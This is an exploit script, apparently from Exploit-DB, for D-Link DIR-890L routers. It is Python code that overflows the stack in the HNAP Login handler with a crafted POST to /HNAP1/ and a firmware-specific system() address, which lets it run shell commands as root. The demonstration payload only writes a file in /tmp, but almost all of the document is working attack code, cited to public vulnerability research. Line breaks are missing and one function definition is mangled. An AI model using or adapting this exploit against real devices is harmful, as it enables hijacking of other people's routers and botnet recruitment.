# Due to error in hnap protocol implementation we can overflow stack and execute any sh commands under root priviliges.# E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin# E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b0609957692f71da48fd7de28be0516b589187c3/hnap.pyimport requests as rq
import struct
IP ="192.168.0.1"
PORT ="80"# Can differ in different version of routers and versions of firmware# SYSTEM_ADDRESS = 0x1B570 # DIR-890L_REVA_FIRMWARE_PATCH_v1.11B02.BETA01
SYSTEM_ADDRESS =0x1B50C# DIR-890L_REVA_FIRMWARE_1.10.B07 def_str(address):return struct.pack("<I", address)if address >0else struct.pack("<i", address)
url ='http://{ip}:{port}/HNAP1/'.format(ip=IP, port=PORT)
headers_text ={'SOAPACTION':'http://purenetworks.com/HNAP1/Login','CONTENT-TYPE':'text/html'}
payload =b"echo 1 > /tmp/hacked;"print(rq.post(url, data=b"<Action>"+ payload +b"A"*(0x400-len(payload))+ _str(-1)+b"C"*0x14+ _str(SYSTEM_ADDRESS)[0:3]+b"</Action>", headers=headers_text).text)